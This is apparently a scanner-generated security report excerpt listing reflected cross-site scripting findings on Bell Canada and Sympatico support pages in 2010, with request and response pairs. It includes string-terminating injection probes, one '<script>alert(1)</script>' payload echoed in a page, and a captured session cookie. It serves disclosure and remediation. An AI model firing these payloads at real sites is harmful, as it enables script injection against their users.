CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:35 GMT
Connection: close
Set-Cookie: SMSESSION=/OEbl4weJa7/8aR0JMMh7rZYwOkDGBXK4c7X6AIjtrWQi4L/tJFI04eA8LJCJBgO6UzByhaAD8sVNkEJl2nsmh2r9OFyH7oXp0H+V9qPvtIvROHdbR1mCH8roN8OLqjjqemAilBQDo58b9WFohs3DK7DgLu509xbUPxJ7l8Au2QwYJ4bDRKzdhORMofRn3el8Ytu2x0fofwloKD8V0T1VtWbz+fvuj+Q+uIlFikWVn9CvO2gduHX/L6cOd6djvYRJZYYlTzEFX6scf9ow5lsqNA2QSri2Fv1q3Bt6lbzfbnTEMMP5fTrAA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:35 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:35 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:35 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:35 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:35 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:35 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:35 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:35 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:35 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:35 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/tooltip.jsabef8"><script>alert(1)</script>098ef2cb307" />
...[SNIP]...

2.295. http://support.bell.ca/en-ON/Customer_service [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-ON/Customer_service

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 682c8'%3b48d3d19311b was submitted in the REST URL parameter 1. This input was echoed as 682c8';48d3d19311b in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-ON682c8'%3b48d3d19311b/Customer_service HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://support.bell.ca/Customer_service
Cookie: gemini=region=ON|language=en|province=ON;

Response

HTTP/1.1 200 OK
Content-Length: 82615
Expires: Tue, 09 Nov 2010 22:57:28 GMT
Date: Wed, 24 Nov 2010 22:57:28 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Fri, 05 Nov 2010 19:40:56 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Fri, 05 Nov 2010 19:40:56 GMT
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:57:28 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:57:28 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head ><link rel="Canonical" href="http://support.bell.ca/en-on/Customer_service
...[SNIP]...
uage="javascript" type="text/javascript">
function CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/Pages/customerservices_landing_page&prov=ON&lang=en&originalURL=/en-ON682c8';48d3d19311b/Customer_service';


}
function PrintArticlePagePopup(){
day = new Date();
id = day.getTime();
eval("page" + id + " = window.open('?printerFriendly=true', '" + id + "
...[SNIP]...

2.296. http://support.bell.ca/en-ON/Customer_service/ [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-ON/Customer_service/

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8c146'%3bc6650e8c050 was submitted in the REST URL parameter 1. This input was echoed as 8c146';c6650e8c050 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-ON8c146'%3bc6650e8c050/Customer_service/ HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://support.bell.ca/Customer_service/
Cookie: gemini=region=ON|language=en|province=ON;

Response

HTTP/1.1 200 OK
Content-Length: 82644
Expires: Tue, 09 Nov 2010 22:57:33 GMT
Date: Wed, 24 Nov 2010 22:57:33 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Fri, 05 Nov 2010 19:40:56 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Fri, 05 Nov 2010 19:40:56 GMT
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:57:33 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:57:33 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head ><link rel="Canonical" href="http://support.bell.ca/en-on/Customer_service
...[SNIP]...
uage="javascript" type="text/javascript">
function CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/Pages/customerservices_landing_page&prov=ON&lang=en&originalURL=/en-ON8c146';c6650e8c050/Customer_service/';


}
function PrintArticlePagePopup(){
day = new Date();
id = day.getTime();
eval("page" + id + " = window.open('?printerFriendly=true', '" + id +
...[SNIP]...

2.297. http://support.bell.ca/en-ON/Mobility [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-ON/Mobility

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e89a8'%3bfc24b87efbd was submitted in the REST URL parameter 1. This input was echoed as e89a8';fc24b87efbd in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-ONe89a8'%3bfc24b87efbd/Mobility HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://support.bell.ca/Mobility
Cookie: gemini=region=ON|language=en|province=ON;

Response

HTTP/1.1 200 OK
Content-Length: 83969
Expires: Tue, 09 Nov 2010 22:57:27 GMT
Date: Wed, 24 Nov 2010 22:57:27 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Tue, 16 Nov 2010 20:26:52 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Tue, 16 Nov 2010 20:26:52 GMT
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:57:27 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:57:27 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head ><link rel="Canonical" href="http://support.bell.ca/en-on/Mobility/" ><lin
...[SNIP]...
cript language="javascript" type="text/javascript">
function CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/Pages/Mobile_Landing_Page&prov=ON&lang=en&originalURL=/en-ONe89a8';fc24b87efbd/Mobility';


}
function PrintArticlePagePopup(){
day = new Date();
id = day.getTime();
eval("page" + id + " = window.open('?printerFriendly=true', '" + id + "', 'tool
...[SNIP]...

2.298. http://support.bell.ca/en-ON/Mobility/ [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-ON/Mobility/

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 79125'%3bc9562c750eb was submitted in the REST URL parameter 1. This input was echoed as 79125';c9562c750eb in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-ON79125'%3bc9562c750eb/Mobility/ HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://support.bell.ca/en-on/
Cookie: gemini=region=ON|language=en|province=ON;

Response

HTTP/1.1 200 OK
Content-Length: 83961
Expires: Tue, 09 Nov 2010 22:57:50 GMT
Date: Wed, 24 Nov 2010 22:57:50 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Tue, 16 Nov 2010 20:26:52 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Tue, 16 Nov 2010 20:26:52 GMT
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:57:50 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:57:50 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head ><link rel="Canonical" href="http://support.bell.ca/en-on/Mobility/" ><lin
...[SNIP]...
cript language="javascript" type="text/javascript">
function CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/Pages/Mobile_Landing_Page&prov=ON&lang=en&originalURL=/en-ON79125';c9562c750eb/Mobility/';


}
function PrintArticlePagePopup(){
day = new Date();
id = day.getTime();
eval("page" + id + " = window.open('?printerFriendly=true', '" + id + "', 'too
...[SNIP]...

2.299. http://support.bell.ca/en-on/AboutBell/ [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-on/AboutBell/

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2b58a'%3b59ea0716c76 was submitted in the REST URL parameter 1. This input was echoed as 2b58a';59ea0716c76 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-on2b58a'%3b59ea0716c76/AboutBell/ HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: https://www.bell.ca/home/Home_L_login.page?regionToggle=true&languageToggle=true&INT=loginmyinternetEN&refreshLink=https%3A%2F%2Fwww.bell.ca%2Fmybell%2Fociseclvl3_PrsMyAccts_InternetSvcEq.page&province=UNKNOWN&myurl=CSQ&mobility_upgrade=false&INT=loginmyinternetEN&refreshLink=https%3A%2F%2Fwww.bell.ca%2Fmybell%2Fociseclvl3_PrsMyAccts_InternetSvcEq.page&region=NS&language=en

Response

HTTP/1.1 200 OK
Content-Length: 64453
Expires: Tue, 09 Nov 2010 22:57:25 GMT
Date: Wed, 24 Nov 2010 22:57:25 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Tue, 09 Nov 2010 18:09:39 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Tue, 09 Nov 2010 18:09:39 GMT
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:57:25 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:57:25 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head ><link rel="Canonical" href="http://support.bell.ca/en-on/AboutBell/" ><li
...[SNIP]...
<script language="javascript" type="text/javascript">
function CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/Pages/AboutBell&prov=ON&lang=en&originalURL=/en-on2b58a';59ea0716c76/AboutBell/';


}
function PrintArticlePagePopup(){
day = new Date();
id = day.getTime();
eval("page" + id + " = window.open('?printerFriendly=true', '" + id + "', 'to
...[SNIP]...

2.300. http://support.bell.ca/en-on/AboutBell/Environment/ [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-on/AboutBell/Environment/

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ec02d'%3bf75eaee5c69 was submitted in the REST URL parameter 1. This input was echoed as ec02d';f75eaee5c69 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-onec02d'%3bf75eaee5c69/AboutBell/Environment/ HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://support.bell.ca/en-on/AboutBell/
Cookie: gemini=region=ON|language=en|province=ON;

Response

HTTP/1.1 200 OK
Content-Length: 64187
Expires: Tue, 09 Nov 2010 22:57:28 GMT
Date: Wed, 24 Nov 2010 22:57:28 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Thu, 14 Oct 2010 14:47:44 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Thu, 14 Oct 2010 14:47:44 GMT
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:57:29 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:57:29 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head ><link rel="Canonical" href="http://support.bell.ca/en-on/AboutBell/Enviro
...[SNIP]...
<script language="javascript" type="text/javascript">
function CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/Pages/Environment&prov=ON&lang=en&originalURL=/en-onec02d';f75eaee5c69/AboutBell/Environment/';


}
function PrintArticlePagePopup(){
day = new Date();
id = day.getTime();
eval("page" + id + " = window.open('?printerFriendly=true', '" +
...[SNIP]...

2.301. http://support.bell.ca/en-on/Customer_service/Knowledge_centre/ [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-on/Customer_service/Knowledge_centre/

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d1599'%3be3258e1c529 was submitted in the REST URL parameter 1. This input was echoed as d1599';e3258e1c529 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-ond1599'%3be3258e1c529/Customer_service/Knowledge_centre/ HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://support.bell.ca/en-on/
Cookie: gemini=region=ON|language=en|province=ON;

Response

HTTP/1.1 200 OK
Content-Length: 76688
Expires: Tue, 09 Nov 2010 15:21:01 GMT
Date: Wed, 24 Nov 2010 15:21:01 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Fri, 05 Nov 2010 19:40:39 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Fri, 05 Nov 2010 19:40:39 GMT
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 15:21:01 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 15:21:01 GMT; path=/
Set-Cookie: BSCC=KCArticlePageSize=10; domain=.bell.ca; expires=Tue, 22-Feb-2011 15:21:01 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head ><link rel="Canonical" href="http://support.bell.ca/en-on/Customer_service
...[SNIP]...
ge="javascript" type="text/javascript">
function CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/Pages/customerservice_knowledgecenter&prov=ON&lang=en&originalURL=/en-ond1599';e3258e1c529/Customer_service/Knowledge_centre/';


}
function PrintArticlePagePopup(){
day = new Date();
id = day.getTime();
eval("page" + id + " = window.open('?printerFriendly=
...[SNIP]...

2.302. http://support.bell.ca/en-on/Mobility/Getting_started_M [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-on/Mobility/Getting_started_M

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e427b'%3bfd2bafc965f was submitted in the REST URL parameter 1. This input was echoed as e427b';fd2bafc965f in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-one427b'%3bfd2bafc965f/Mobility/Getting_started_M HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://support.bell.ca/en-ON/site_map
Cookie: gemini=region=ON|language=en|province=ON; BSCC=KCArticlePageSize=10;

Response

HTTP/1.1 200 OK
Content-Length: 84717
Expires: Tue, 09 Nov 2010 15:21:04 GMT
Date: Wed, 24 Nov 2010 15:21:04 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Tue, 16 Nov 2010 01:04:45 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Tue, 16 Nov 2010 01:04:45 GMT
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 15:21:04 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 15:21:04 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head >
<meta name="product" content=""></meta>
<meta name="products"
...[SNIP]...
<script language="javascript" type="text/javascript">
function CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/pages/getting_started_m&prov=ON&lang=en&originalURL=/en-one427b';fd2bafc965f/Mobility/Getting_started_M';


}
function PrintArticlePagePopup(){
day = new Date();
id = day.getTime();
eval("page" + id + " = window.open('/en-on/Mobility/Getting_s
...[SNIP]...

2.303. http://support.bell.ca/en-on/Mobility/Network_coverage/How_to_use_my_mobile_phone_in_the_United_States [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-on/Mobility/Network_coverage/How_to_use_my_mobile_phone_in_the_United_States

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cfebd'%3ba0a83ff3cf8 was submitted in the REST URL parameter 1. This input was echoed as cfebd';a0a83ff3cf8 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-oncfebd'%3ba0a83ff3cf8/Mobility/Network_coverage/How_to_use_my_mobile_phone_in_the_United_States HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://support.bell.ca/en-ON/site_map
Cookie: gemini=region=ON|language=en|province=ON; BSCC=KCArticlePageSize=10;

Response

HTTP/1.1 200 OK
Content-Length: 86915
Expires: Tue, 09 Nov 2010 15:21:03 GMT
Date: Wed, 24 Nov 2010 15:21:03 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Mon, 15 Nov 2010 14:45:02 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Mon, 15 Nov 2010 14:45:02 GMT
